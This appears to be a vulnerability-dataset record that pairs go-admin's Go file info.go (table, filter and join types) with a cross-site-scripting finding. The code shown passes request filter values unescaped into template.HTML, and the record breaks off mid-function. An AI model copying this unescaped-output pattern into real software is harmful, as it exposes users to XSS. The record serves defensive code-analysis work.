{"id": "0a30a227595fa8efec9339b6a87749cdb5c8e01580dc92c77c5117f4fc9df024", "license": {"spdx": ["Apache-2.0"], "repo": "awaken/go-admin", "path": "template/types/info.go", "repo_head_hexsha": "f92257a88e041f04cb862f654de949a82b0a2640", "stack_hexsha": "665d38c511a2861b864bdea8c88860accde43fc2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (etc.)", "issueDescriptionEn": "Using an unescaped function such as `template.CSS` or `template.Srcset` exposes your code to Cross-site Script (XSS) attacks in Golang. It is dangerous to pass a user input without validation, as an attacker can change the input in an unexpected way. Generating CSS from the user input gives no more than an attack vector to hackers.\nUsing predefined styles prevents CSS to be dynamically changed by the user input. `template.HTML` can be an option instead of srcset. Still, the user input needs to be avoided if possible.", "issueLineNumber": 1709, "entireCode": "package types\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"net/http\"\n\t\"runtime/debug\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/GoAdminGroup/go-admin/context\"\n\t\"github.com/GoAdminGroup/go-admin/modules/config\"\n\t\"github.com/GoAdminGroup/go-admin/modules/db\"\n\t\"github.com/GoAdminGroup/go-admin/modules/errors\"\n\t\"github.com/GoAdminGroup/go-admin/modules/language\"\n\t\"github.com/GoAdminGroup/go-admin/modules/logger\"\n\t\"github.com/GoAdminGroup/go-admin/modules/utils\"\n\t\"github.com/GoAdminGroup/go-admin/plugins/admin/modules\"\n\t\"github.com/GoAdminGroup/go-admin/plugins/admin/modules/parameter\"\n\t\"github.com/GoAdminGroup/go-admin/template/types/form\"\n\t\"github.com/GoAdminGroup/go-admin/template/types/table\"\n)\n\n// FieldModel is the single query result.\ntype FieldModel struct {\n\t// The primaryKey of the table.\n\tID string\n\n\t// The value of the single query result.\n\tValue string\n\n\t// The current row data.\n\tRow map[string]interface{}\n\n\t// Post type\n\tPostType PostType\n}\n\ntype PostType uint8\n\nconst (\n\tPostTypeCreate = iota\n\tPostTypeUpdate\n)\n\nfunc (m FieldModel) IsCreate() bool {\n\treturn m.PostType == PostTypeCreate\n}\n\nfunc (m FieldModel) IsUpdate() bool {\n\treturn m.PostType == PostTypeUpdate\n}\n\n// PostFieldModel contains ID and value of the single query result and the current row data.\ntype PostFieldModel struct {\n\tID string\n\tValue FieldModelValue\n\tRow map[string]string\n\tPostType PostType\n}\n\nfunc (m PostFieldModel) IsCreate() bool {\n\treturn m.PostType == PostTypeCreate\n}\n\nfunc (m PostFieldModel) IsUpdate() bool {\n\treturn m.PostType == PostTypeUpdate\n}\n\ntype InfoItem struct {\n\tContent template.HTML `json:\"content\"`\n\tValue string `json:\"value\"`\n}\n\ntype InfoList []map[string]InfoItem\n\nfunc (il InfoList) GroupBy(groups TabGroups) []InfoList {\n\tres := make([]InfoList, len(groups))\n\tfor i, value := range groups {\n\t\tnewInfoList := make(InfoList, len(il))\n\t\tfor j, info := range il {\n\t\t\tnewRow := make(map[string]InfoItem)\n\t\t\tfor k, m := range info {\n\t\t\t\tif modules.InArray(value, k) {\n\t\t\t\t\tnewRow[k] = m\n\t\t\t\t}\n\t\t\t}\n\t\t\tnewInfoList[j] = newRow\n\t\t}\n\t\tres[i] = newInfoList\n\t}\n\treturn res\n}\n\ntype Callbacks []context.Node\n\nfunc (c Callbacks) AddCallback(node context.Node) Callbacks {\n\tif node.Path != \"\" && node.Method != \"\" && len(node.Handlers) > 0 {\n\t\tfor _, item := range c {\n\t\t\tif strings.EqualFold(item.Path, node.Path) &&\n\t\t\t\tstrings.EqualFold(item.Method, node.Method) {\n\t\t\t\treturn c\n\t\t\t}\n\t\t}\n\t\tif p := strings.IndexByte(node.Path, '?'); p >= 0 {\n\t\t\tnode.Path = node.Path[:p]\n\t\t}\n\t\treturn append(c, node)\n\t}\n\treturn c\n}\n\ntype FieldModelValue []string\n\nfunc (r FieldModelValue) Value() string {\n\treturn r.First()\n}\n\nfunc (r FieldModelValue) First() string {\n\tif len(r) > 0 { return r[0] }\n\treturn \"\"\n}\n\n// FieldDisplay is filter function of data.\ntype FieldFilterFn func(value FieldModel) interface{}\n\n// PostFieldFilterFn is filter function of data.\ntype PostFieldFilterFn func(value PostFieldModel) interface{}\n\n// Field is the table field.\ntype Field struct {\n\tHead string\n\tField string\n\tTypeName db.DatabaseType\n\n\tJoins Joins\n\n\tWidth int\n\tSortable bool\n\tEditAble bool\n\tFixed bool\n\tFilterable bool\n\tHide bool\n\n\tEditType table.Type\n\tEditOptions FieldOptions\n\n\tFilterFormFields []FilterFormField\n\n\tIsEditParam bool\n\tIsDeleteParam bool\n\tIsDetailParam bool\n\n\tFieldDisplay\n}\n\ntype QueryFilterFn func(param parameter.Parameters, conn db.Connection) (ids []string, stopQuery bool)\ntype UpdateParametersFn func(param *parameter.Parameters)\n\ntype FilterFormField struct {\n\tType form.Type\n\tOptions FieldOptions\n\tOptionTable OptionTable\n\tWidth int\n\tHeadWidth int\n\tInputWidth int\n\tStyle template.HTMLAttr\n\tOperator FilterOperator\n\tOptionExt template.JS\n\tHead string\n\tPlaceholder string\n\tHelpMsg template.HTML\n\tNoIcon bool\n\tProcessFn func(string) string\n}\n\nfunc (f Field) GetFilterFormFields(params parameter.Parameters, headField string, sqls ...*db.SQL) []FormField {\n\tvar value, value2, keySuffix string\n\tvar sql *db.SQL\n\tif len(sqls) > 0 { sql = sqls[0] }\n\n\tfilterForm := make([]FormField, 0, len(f.FilterFormFields))\n\theadFieldWithKeySuffix := headField\n\n\tfor i, filter := range f.FilterFormFields {\n\t\tif i > 0 {\n\t\t\tkeySuffix = parameter.FilterParamCountInfix + strconv.Itoa(i)\n\t\t\theadFieldWithKeySuffix += keySuffix\n\t\t}\n\n\t\tif filter.Type.IsRange() {\n\t\t\tvalue = params.GetFilterFieldValueStart(headField)\n\t\t\tvalue2 = params.GetFilterFieldValueEnd(headField)\n\t\t} else if filter.Type.IsMultiSelect() {\n\t\t\tvalue = params.GetFieldValuesStr(headField)\n\t\t} else {\n\t\t\tif filter.Operator == FilterOperatorFree {\n\t\t\t\tvalue2 = GetOperatorFromValue(params.GetFieldOperator(headField, keySuffix)).String()\n\t\t\t}\n\t\t\tvalue = params.GetFieldValue(headFieldWithKeySuffix)\n\t\t}\n\n\t\tvar (\n\t\t\toptionExt1 = filter.OptionExt\n\t\t\toptionExt2 template.JS\n\t\t)\n\n\t\tif filter.OptionExt == \"\" {\n\t\t\top1, op2, js := filter.Type.GetDefaultOptions(headFieldWithKeySuffix)\n\t\t\tif op1 != nil {\n\t\t\t\ts, _ := utils.JsonMarshal(op1)\n\t\t\t\toptionExt1 = template.JS(s)\n\t\t\t}\n\t\t\tif op2 != nil {\n\t\t\t\ts, _ := utils.JsonMarshal(op2)\n\t\t\t\toptionExt2 = template.JS(s)\n\t\t\t}\n\t\t\tif js != \"\" {\n\t\t\t\toptionExt1 = js\n\t\t\t}\n\t\t}\n\n\t\tfield := &FormField{\n\t\t\tField: headFieldWithKeySuffix,\n\t\t\tFieldClass: headFieldWithKeySuffix,\n\t\t\tHead: filter.Head,\n\t\t\tTypeName: f.TypeName,\n\t\t\tHelpMsg: filter.HelpMsg,\n\t\t\tNoIcon: filter.NoIcon,\n\t\t\tFormType: filter.Type,\n\t\t\tEditable: true,\n\t\t\tWidth: filter.Width,\n\t\t\tHeadWidth: filter.HeadWidth,\n\t\t\tInputWidth: filter.InputWidth,\n\t\t\tStyle: filter.Style,\n\t\t\tPlaceholder: filter.Placeholder,\n\t\t\tValue: template.HTML(value),\n\t\t\tValue2: value2,\n\t\t\tOptions: filter.Options,\n\t\t\tOptionExt: optionExt1,\n\t\t\tOptionExt2: optionExt2,\n\t\t\tOptionTable: filter.OptionTable,\n\t\t\tLabel: filter.Operator.Label(),\n\t\t}\n\n\t\tfield.setOptionsFromSQL(sql)\n\n\t\tif filter.Type.IsSingleSelect() {\n\t\t\tfield.Options = field.Options.SetSelected(params.GetFieldValue(f.Field), filter.Type.SelectedLabel())\n\t\t} else if filter.Type.IsMultiSelect() {\n\t\t\tfield.Options = field.Options.SetSelected(params.GetFieldValues(f.Field), filter.Type.SelectedLabel())\n\t\t}\n\n\t\tfilterForm = append(filterForm, *field)\n\n\t\tif filter.Operator.AddOrNot() {\n\t\t\tff := utils.StrConcat(headField, parameter.FilterParamOperatorSuffix, keySuffix)\n\t\t\tfilterForm = append(filterForm, FormField{\n\t\t\t\tField: ff,\n\t\t\t\tFieldClass: ff,\n\t\t\t\tHead: f.Head,\n\t\t\t\tTypeName: f.TypeName,\n\t\t\t\tValue: template.HTML(filter.Operator.Value()),\n\t\t\t\tFormType: filter.Type,\n\t\t\t\tHide: true,\n\t\t\t})\n\t\t}\n\t}\n\n\treturn filterForm\n}\n\nfunc (f Field) Exist() bool {\n\treturn f.Field != \"\"\n}\n\ntype FieldList []Field\n\ntype TableInfo struct {\n\tTable string\n\tPrimaryKey string\n\tDelimiter string\n\tDelimiter2 string\n\tDriver string\n}\n\nfunc (f FieldList) GetTheadAndFilterForm(info TableInfo, params parameter.Parameters, columnMap map[string]struct{}, sqlFuncs ...func() *db.SQL) (Thead, string, string, string, map[string]struct{}, []FormField) {\n\tvar (\n\t\tfields strings.Builder\n\t\tjoinFields strings.Builder\n\t\tjoins strings.Builder\n\t\tjoinTableMap map[string]struct{}\n\t\tsql func() *db.SQL\n\t)\n\tif len(sqlFuncs) > 0 { sql = sqlFuncs[0] }\n\tif sql == nil { sql = db.NilSQL }\n\n\tthead := make(Thead , 0, len(f))\n\tfilterForm := make([]FormField, 0, len(f))\n\tfields.Grow(256)\n\n\tfor _, field := range f {\n\t\tif field.Field != info.PrimaryKey && utils.InMapT(columnMap, field.Field) && !field.Joins.Valid() {\n\t\t\tfields.WriteString(info.Delimiter)\n\t\t\tfields.WriteString(info.Table)\n\t\t\tfields.WriteString(info.Delimiter2)\n\t\t\tfields.WriteByte('.')\n\t\t\tfields.WriteString(info.Delimiter)\n\t\t\tfields.WriteString(field.Field)\n\t\t\tfields.WriteString(info.Delimiter2)\n\t\t\tfields.WriteByte(',')\n\t\t}\n\n\t\theadField := field.Field\n\n\t\tif field.Joins.Valid() {\n\t\t\tlastJoin := field.Joins.Last()\n\t\t\theadField = utils.StrConcat(lastJoin.GetTableName(), parameter.FilterParamJoinInfix, field.Field)\n\t\t\tvar sb strings.Builder\n\t\t\tsb.Grow(64)\n\t\t\tsb.WriteString(lastJoin.GetTableName(info.Delimiter, info.Delimiter2))\n\t\t\tsb.WriteByte('.')\n\t\t\tsb.WriteString(info.Delimiter)\n\t\t\tsb.WriteString(field.Field)\n\t\t\tsb.WriteString(info.Delimiter2)\n\t\t\tjoinFields.WriteString(db.GetAggregationExpression(info.Driver, sb.String(), headField, JoinFieldValueDelimiter))\n\t\t\tjoinFields.WriteByte(',')\n\t\t\tfor _, join := range field.Joins {\n\t\t\t\tjoinTableName := join.GetTableName(info.Delimiter, info.Delimiter2)\n\t\t\t\tif _, ok := joinTableMap[joinTableName]; !ok {\n\t\t\t\t\tif joinTableMap == nil {\n\t\t\t\t\t\tjoinTableMap = map[string]struct{}{ joinTableName: {} }\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjoinTableMap[joinTableName] = struct{}{}\n\t\t\t\t\t}\n\t\t\t\t\tif join.BaseTable == \"\" {\n\t\t\t\t\t\tjoin.BaseTable = info.Table\n\t\t\t\t\t}\n\t\t\t\t\tjoins.WriteString(\" LEFT JOIN \")\n\t\t\t\t\tjoins.WriteString(modules.FilterField(join.Table, info.Delimiter, info.Delimiter2))\n\t\t\t\t\tif join.TableAlias != \"\" {\n\t\t\t\t\t\tjoins.WriteByte(' ')\n\t\t\t\t\t\tjoins.WriteString(join.TableAlias)\n\t\t\t\t\t}\n\t\t\t\t\tjoins.WriteString(\" ON \")\n\t\t\t\t\tjoins.WriteString(joinTableName)\n\t\t\t\t\tjoins.WriteByte('.')\n\t\t\t\t\tjoins.WriteString(modules.FilterField(join.JoinField, info.Delimiter, info.Delimiter2))\n\t\t\t\t\tjoins.WriteByte('=')\n\t\t\t\t\tjoins.WriteString(modules.Delimiter(info.Delimiter, info.Delimiter2, join.BaseTable))\n\t\t\t\t\tjoins.WriteByte('.')\n\t\t\t\t\tjoins.WriteString(modules.FilterField(join.Field, info.Delimiter, info.Delimiter2))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif field.Filterable {\n\t\t\tfilterForm = append(filterForm, field.GetFilterFormFields(params, headField, sql())...)\n\t\t}\n\t\tif field.Hide { continue }\n\n\t\tthead = append(thead, TheadItem{\n\t\t\tHead: field.Head,\n\t\t\tSortable: field.Sortable,\n\t\t\tField: headField,\n\t\t\tHide: !modules.InArrayWithoutEmpty(params.Columns, headField),\n\t\t\tEditable: field.EditAble,\n\t\t\tEditType: field.EditType.String(),\n\t\t\tEditOption: field.EditOptions,\n\t\t\tWidth: strconv.Itoa(field.Width) + \"px\",\n\t\t})\n\t}\n\n\treturn thead, fields.String(), joinFields.String(), joins.String(), joinTableMap, filterForm\n}\n\nfunc (f FieldList) GetThead(info TableInfo, params parameter.Parameters, columnMap map[string]struct{}) (Thead, string, string) {\n\tvar (\n\t\tsbFields strings.Builder\n\t\tsbJoins strings.Builder\n\t\tjoinTableMap map[string]struct{}\n\t)\n\tthead := make(Thead, 0, len(f))\n\tsbFields.Grow(256)\n\n\tfor _, field := range f {\n\t\tif field.Field != info.PrimaryKey {\n\t\t\tif _, ok := columnMap[field.Field]; ok && !field.Joins.Valid() {\n\t\t\t\tsbFields.WriteString(info.Delimiter)\n\t\t\t\tsbFields.WriteString(info.Table)\n\t\t\t\tsbFields.WriteString(info.Delimiter2)\n\t\t\t\tsbFields.WriteByte('.')\n\t\t\t\tsbFields.WriteString(info.Delimiter)\n\t\t\t\tsbFields.WriteString(field.Field)\n\t\t\t\tsbFields.WriteString(info.Delimiter2)\n\t\t\t\tsbFields.WriteByte(',')\n\t\t\t}\n\t\t}\n\n\t\theadField := field.Field\n\n\t\tif field.Joins.Valid() {\n\t\t\theadField = field.Joins.Last().GetTableName(info.Delimiter, info.Delimiter2) + parameter.FilterParamJoinInfix + field.Field\n\t\t\tfor _, join := range field.Joins {\n\t\t\t\tjoinTableName := join.GetTableName(info.Delimiter, info.Delimiter2)\n\t\t\t\tif _, ok := joinTableMap[joinTableName]; !ok {\n\t\t\t\t\tif joinTableMap == nil {\n\t\t\t\t\t\tjoinTableMap = map[string]struct{}{ joinTableName: {} }\n\t\t\t\t\t} else {\n\t\t\t\t\t\tjoinTableMap[joinTableName] = struct{}{}\n\t\t\t\t\t}\n\t\t\t\t\tif join.BaseTable == \"\" {\n\t\t\t\t\t\tjoin.BaseTable = info.Table\n\t\t\t\t\t}\n\t\t\t\t\tif sbJoins.Len() == 0 {\n\t\t\t\t\t\tsbJoins.Grow(256)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsbJoins.WriteByte(' ')\n\t\t\t\t\t}\n\t\t\t\t\tsbJoins.WriteString(\"LEFT JOIN \")\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter)\n\t\t\t\t\tsbJoins.WriteString(join.Table)\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter2)\n\t\t\t\t\tif join.TableAlias != \"\" {\n\t\t\t\t\t\tsbJoins.WriteByte(' ')\n\t\t\t\t\t\tsbJoins.WriteString(join.TableAlias)\n\t\t\t\t\t}\n\t\t\t\t\tsbJoins.WriteString(\" ON \")\n\t\t\t\t\tsbJoins.WriteString(joinTableName)\n\t\t\t\t\tsbJoins.WriteByte('.')\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter)\n\t\t\t\t\tsbJoins.WriteString(join.JoinField)\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter2)\n\t\t\t\t\tsbJoins.WriteByte('=')\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter)\n\t\t\t\t\tsbJoins.WriteString(join.BaseTable)\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter2)\n\t\t\t\t\tsbJoins.WriteByte('.')\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter)\n\t\t\t\t\tsbJoins.WriteString(join.Field)\n\t\t\t\t\tsbJoins.WriteString(info.Delimiter2)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif field.Hide { continue }\n\n\t\tthead = append(thead, TheadItem{\n\t\t\tHead: field.Head,\n\t\t\tSortable: field.Sortable,\n\t\t\tField: headField,\n\t\t\tHide: !modules.InArrayWithoutEmpty(params.Columns, headField),\n\t\t\tEditable: field.EditAble,\n\t\t\tEditType: field.EditType.String(),\n\t\t\tEditOption: field.EditOptions,\n\t\t\tWidth: strconv.Itoa(field.Width) + \"px\",\n\t\t})\n\t}\n\n\treturn thead, sbFields.String(), sbJoins.String()\n}\n\nfunc (f FieldList) GetFieldFilterProcessValue(key, value, keyIndex string) string {\n\tfield := f.GetFieldByFieldName(key)\n\tindex := 0\n\tif keyIndex != \"\" {\n\t\tindex, _ = strconv.Atoi(keyIndex)\n\t}\n\tif field.FilterFormFields != nil && index < len(field.FilterFormFields) {\n\t\tfn := field.FilterFormFields[index].ProcessFn\n\t\tif fn != nil { value = fn(value) }\n\t}\n\treturn value\n}\n\nfunc (f FieldList) GetFieldJoinTable(key string) string {\n\tfield := f.GetFieldByFieldName(key)\n\tif field.Exist() {\n\t\treturn field.Joins.Last().Table\n\t}\n\treturn \"\"\n}\n\nfunc (f FieldList) GetFieldByFieldName(name string) Field {\n\tfor _, field := range f {\n\t\tswitch name {\n\t\tcase field.Field, JoinField(field.Joins.Last().GetTableName(), field.Field):\n\t\t\treturn field\n\t\t}\n\t}\n\treturn Field{}\n}\n\n// Join store join table info. For example:\n//\n// Join {\n// BaseTable: \"users\",\n// Field: \"role_id\",\n// Table: \"roles\",\n// JoinField: \"id\",\n// }\n//\n// It will generate the join table sql like:\n//\n// ... left join roles on roles.id = users.role_id ...\n//\ntype Join struct {\n\tTable string\n\tTableAlias string\n\tField string\n\tJoinField string\n\tBaseTable string\n}\n\ntype Joins []Join\n\nfunc JoinField(table, field string) string {\n\treturn utils.StrConcat(table, parameter.FilterParamJoinInfix, field)\n}\n\nfunc GetJoinField(field string) string {\n\treturn strings.Split(field, parameter.FilterParamJoinInfix)[1]\n}\n\nfunc (j Joins) Valid() bool {\n\tfor _, e := range j {\n\t\tif e.Valid() { return true }\n\t}\n\treturn false\n}\n\nfunc (j Joins) Last() Join {\n\tif len(j) > 0 { return j[len(j) - 1] }\n\treturn Join{}\n}\n\nfunc (j Join) Valid() bool {\n\treturn j.Table != \"\" && j.Field != \"\" && j.JoinField != \"\"\n}\n\nfunc (j Join) GetTableName(delimiter ...string) string {\n\tif j.TableAlias != \"\" {\n\t\treturn j.TableAlias\n\t}\n\tif len(delimiter) > 1 {\n\t\t_ = delimiter[1]\n\t\treturn utils.StrConcat(delimiter[0], j.Table, delimiter[1])\n\t}\n\treturn j.Table\n}\n\nvar JoinFieldValueDelimiter = utils.Uuid(8)\n\ntype TabGroups [][]string\n\nfunc (t TabGroups) Valid() bool {\n\treturn len(t) > 0\n}\n\nfunc NewTabGroups(items ...string) TabGroups {\n\tif len(items) == 0 { return nil }\n\treturn [][]string{ items }\n}\n\nfunc (t TabGroups) AddGroup(items ...string) TabGroups {\n\treturn append(t, items)\n}\n\ntype TabHeaders []string\n\nfunc (t TabHeaders) Add(header string) TabHeaders {\n\treturn append(t, header)\n}\n\ntype GetDataFn func(param parameter.Parameters) ([]map[string]interface{}, int)\n\ntype DeleteFn func(ids []string) error\ntype DeleteFnWithRes func(ids []string, res error) error\n\ntype Sort uint8\n\nconst (\n\tSortDesc Sort = iota\n\tSortAsc\n)\n\ntype primaryKey struct {\n\tType db.DatabaseType\n\tName string\n}\n\ntype ExportProcessFn func(param parameter.Parameters) (PanelInfo, error)\n\n// InfoPanel\ntype InfoPanel struct {\n\tFieldList FieldList\n\tcurFieldListIndex int\n\n\tTable string\n\tTitle string\n\tDescription string\n\n\t// Warn: may be deprecated future.\n\tTabGroups TabGroups\n\tTabHeaders TabHeaders\n\n\tSort Sort\n\tSortField string\n\n\tPageSizeList []int\n\tDefaultPageSize int\n\n\tExportType int\n\tExportProcessFn ExportProcessFn\n\n\tprimaryKey primaryKey\n\n\tIsHideNewButton bool\n\tIsHideExportButton bool\n\tIsHideEditButton bool\n\tIsHideDeleteButton bool\n\tIsHideDetailButton bool\n\tIsHideFilterButton bool\n\tIsHideRowSelector bool\n\tIsHidePagination bool\n\tIsHideFilterArea bool\n\tIsHideQueryInfo bool\n\tFilterFormLayout form.Layout\n\n\tFilterFormHeadWidth int\n\tFilterFormInputWidth int\n\n\tWheres Wheres\n\tWhereRaws WhereRaw\n\n\tCallbacks Callbacks\n\n\tButtons Buttons\n\n\tTableLayout string\n\n\tDeleteHook DeleteFn\n\tPreDeleteFn DeleteFn\n\tDeleteFn DeleteFn\n\n\tDeleteHookWithRes DeleteFnWithRes\n\n\tGetDataFn GetDataFn\n\n\tprocessChains DisplayProcessFnChains\n\n\tActionButtons Buttons\n\tActionButtonFold bool\n\n\tDisplayGeneratorRecords map[string]struct{}\n\n\tQueryFilterFn QueryFilterFn\n\tUpdateParametersFns []UpdateParametersFn\n\n\tWrapper ContentWrapper\n\n\t// column operation buttons\n\tAction template.HTML\n\tHeaderHtml template.HTML\n\tFooterHtml template.HTML\n\n\tPageError errors.PageError\n\tPageErrorHTML template.HTML\n\n\tNoCompress bool\n\tHideSideBar bool\n\n\tAutoRefresh uint\n}\n\ntype Where struct {\n\tJoin string\n\tField string\n\tOperator string\n\tArg interface{}\n}\n\ntype Wheres []Where\n\nfunc (whs Wheres) Statement(wheres, delimiter, delimiter2 string, whereArgs []interface{}, existKeys, columnMap map[string]struct{}) (string, []interface{}) {\n\tvar pwheres strings.Builder\n\thasWheres := wheres != \"\"\n\t//pwheres := \"\"\n\tlast := len(whs) - 1\n\n\tfor i, wh := range whs {\n\t\twhField, whTable := \"\", \"\"\n\t\tif p := strings.IndexByte(wh.Field, '.'); p >= 0 {\n\t\t\twhTable = wh.Field[:p]\n\t\t\twhField = wh.Field[p+1:]\n\t\t} else {\n\t\t\twhField = wh.Field\n\t\t}\n\n\t\tif _, ok := existKeys[whField]; ok {\n\t\t\tcontinue\n\t\t}\n\n\t\t// TODO: support like operation and join table\n\t\tif _, ok := columnMap[whField]; ok {\n\t\t\tif hasWheres {\n\t\t\t\thasWheres = false\n\t\t\t\tpwheres.WriteString(wheres)\n\t\t\t\tpwheres.WriteString(\" AND \")\n\t\t\t}\n\t\t\tif whTable != \"\" {\n\t\t\t\tpwheres.WriteString(delimiter)\n\t\t\t\tpwheres.WriteString(whTable)\n\t\t\t\tpwheres.WriteString(delimiter2)\n\t\t\t\tpwheres.WriteByte('.')\n\t\t\t\t//pwheres += whTable + \".\"\n\t\t\t}\n\t\t\tpwheres.WriteString(delimiter)\n\t\t\tpwheres.WriteString(whField)\n\t\t\tpwheres.WriteString(delimiter2)\n\t\t\tpwheres.WriteByte(' ')\n\t\t\tpwheres.WriteString(wh.Operator)\n\t\t\tpwheres.WriteString(\" ?\")\n\t\t\tif i != last {\n\t\t\t\tif joinMark := whs[i + 1].Join; joinMark != \"\" {\n\t\t\t\t\tpwheres.WriteByte(' ')\n\t\t\t\t\tpwheres.WriteString(joinMark)\n\t\t\t\t}\n\t\t\t}\n\t\t\t//pwheres += modules.FilterField(whField, delimiter, delimiter2) + \" \" + wh.Operator + \" ? \" + joinMark + \" \"\n\t\t\twhereArgs = append(whereArgs, wh.Arg)\n\t\t}\n\t}\n\n\tif hasWheres {\n\t\treturn wheres, whereArgs\n\t}\n\treturn pwheres.String(), whereArgs\n\t//if wheres != \"\" && pwheres != \"\" {\n\t//\twheres += \" and \"\n\t//}\n\t//return wheres + pwheres, whereArgs\n}\n\ntype WhereRaw struct {\n\tRaw string\n\tArgs []interface{}\n}\n\nfunc (wh WhereRaw) nextBoolTokenAt() int {\n\tidx := 0\n\tn := len(wh.Raw)\n\tfor i, c := range wh.Raw {\n\t\tif c == ' ' || c == '\\t' || c == '\\n' || c == '\\r' { continue }\n\t\tif c == 'a' || c == 'A' {\n\t\t\tif n < i + 3 {\t\t\t\t// look for \"and\"\n\t\t\t\tbreak\n\t\t\t} else if c2 := wh.Raw[i+1]; c2 == 'n' || c2 == 'N' {\n\t\t\t\tif c3 := wh.Raw[i+2]; c3 == 'd' || c3 == 'D' {\n\t\t\t\t\tidx = i + 3\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tif c == 'o' || c == 'O' { // look for \"or\"\n\t\t\tif n < i + 2 {\n\t\t\t\tbreak\n\t\t\t} else if c2 := wh.Raw[i+1]; c2 == 'r' || c2 == 'R' {\n\t\t\t\tidx = i + 2\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\treturn idx\n}\n\nfunc (wh WhereRaw) Statement(wheres string, whereArgs []interface{}) (string, []interface{}) {\n\tif wh.Raw == \"\" {\n\t\treturn wheres, whereArgs\n\t}\n\tif wheres == \"\" {\n\t\twheres = wh.Raw[wh.nextBoolTokenAt():] + \" \"\n\t} else if wh.nextBoolTokenAt() != 0 {\n\t\twheres = utils.StrConcat(wheres, wh.Raw, \" \")\n\t} else {\n\t\twheres = utils.StrConcat(wheres, \" AND \", wh.Raw, \" \")\n\t}\n\treturn wheres, append(whereArgs, wh.Args...)\n}\n\ntype Handler func(ctx *context.Context) (success bool, msg string, data interface{})\n\nfunc (h Handler) Wrap() context.Handler {\n\treturn func(ctx *context.Context) {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tlogger.Error(r)\n\t\t\t\tlogger.Error(string(debug.Stack()))\n\n\t\t\t\tctx.JSON(http.StatusInternalServerError, map[string]interface{}{\n\t\t\t\t\t\"code\": 500,\n\t\t\t\t\t\"data\": \"\",\n\t\t\t\t\t\"msg\" : \"internal server error\",\n\t\t\t\t})\n\t\t\t}\n\t\t}()\n\n\t\tcode := 0\n\t\ts, m, d := h(ctx)\n\t\tif !s { code = 500 }\n\n\t\tctx.JSON(http.StatusOK, map[string]interface{}{\n\t\t\t\"code\": code,\n\t\t\t\"data\": d,\n\t\t\t\"msg\" : m,\n\t\t})\n\t}\n}\n\ntype ContentWrapper func(content template.HTML) template.HTML\n\ntype Action interface {\n\tJs() template.JS\n\tBtnAttribute() template.HTML\n\tBtnClass() template.HTML\n\tExtContent() template.HTML\n\tFooterContent() template.HTML\n\tSetBtnId(btnId string)\n\tSetBtnData(data interface{})\n\tGetCallbacks() context.Node\n}\n\ntype NilAction struct{}\n\nfunc (def *NilAction) SetBtnId(btnId string) {}\nfunc (def *NilAction) SetBtnData(data interface{}) {}\nfunc (def *NilAction) Js() template.JS { return \"\" }\nfunc (def *NilAction) BtnAttribute() template.HTML { return \"\" }\nfunc (def *NilAction) BtnClass() template.HTML { return \"\" }\nfunc (def *NilAction) ExtContent() template.HTML { return \"\" }\nfunc (def *NilAction) FooterContent() template.HTML { return \"\" }\nfunc (def *NilAction) GetCallbacks() context.Node { return context.Node{} }\n\ntype Actions []Action\n\ntype DefaultAction struct {\n\tAttr template.HTML\n\tJS template.JS\n\tExt template.HTML\n\tFooter template.HTML\n}\n\nfunc NewDefaultAction(attr, ext, footer template.HTML, js template.JS) *DefaultAction {\n\treturn &DefaultAction{ Attr: attr, Ext: ext, Footer: footer, JS: js }\n}\n\nfunc (def *DefaultAction) SetBtnId(btnId string) {}\nfunc (def *DefaultAction) SetBtnData(data interface{}) {}\nfunc (def *DefaultAction) Js() template.JS { return def.JS }\nfunc (def *DefaultAction) BtnAttribute() template.HTML { return def.Attr }\nfunc (def *DefaultAction) BtnClass() template.HTML { return \"\" }\nfunc (def *DefaultAction) ExtContent() template.HTML { return def.Ext }\nfunc (def *DefaultAction) FooterContent() template.HTML { return def.Footer }\nfunc (def *DefaultAction) GetCallbacks() context.Node { return context.Node{} }\n\nvar _ Action = (*DefaultAction)(nil)\n\nvar DefaultPageSizeList = []int{ 10, 20, 30, 50, 100 }\n\nconst DefaultPageSize = 10\n\nfunc NewInfoPanel(pk string) *InfoPanel {\n\treturn &InfoPanel{\n\t\tcurFieldListIndex: -1,\n\t\tPageSizeList: DefaultPageSizeList,\n\t\tDefaultPageSize: DefaultPageSize,\n\t\t//processChains: make(DisplayProcessFnChains, 0),\n\t\t//Buttons: make(Buttons, 0),\n\t\t//Callbacks: make(Callbacks, 0),\n\t\tDisplayGeneratorRecords: make(map[string]struct{}),\n\t\t//Wheres: make([]Where, 0),\n\t\t//WhereRaws: WhereRaw{},\n\t\tSortField: pk,\n\t\tTableLayout: \"auto\",\n\t\tFilterFormInputWidth: 10,\n\t\tFilterFormHeadWidth: 2,\n\t\tAutoRefresh: 0,\n\t}\n}\n\nfunc (i *InfoPanel) Where(field string, operator string, arg interface{}) *InfoPanel {\n\ti.Wheres = append(i.Wheres, Where{ Field: field, Operator: operator, Arg: arg, Join: \"and\" })\n\treturn i\n}\n\nfunc (i *InfoPanel) WhereOr(field string, operator string, arg interface{}) *InfoPanel {\n\ti.Wheres = append(i.Wheres, Where{ Field: field, Operator: operator, Arg: arg, Join: \"or\" })\n\treturn i\n}\n\nfunc (i *InfoPanel) WhereRaw(raw string, arg ...interface{}) *InfoPanel {\n\ti.WhereRaws.Raw = raw\n\ti.WhereRaws.Args = arg\n\treturn i\n}\n\nfunc (i *InfoPanel) AddSelectBox(placeholder string, options FieldOptions, action Action, width ...int) *InfoPanel {\n\toptions = append(FieldOptions{{ Value: \"\", Text: language.Get(\"All\") }}, options...)\n\taction.SetBtnData(options)\n\ti.addButton(GetDefaultSelection(placeholder, options, action, 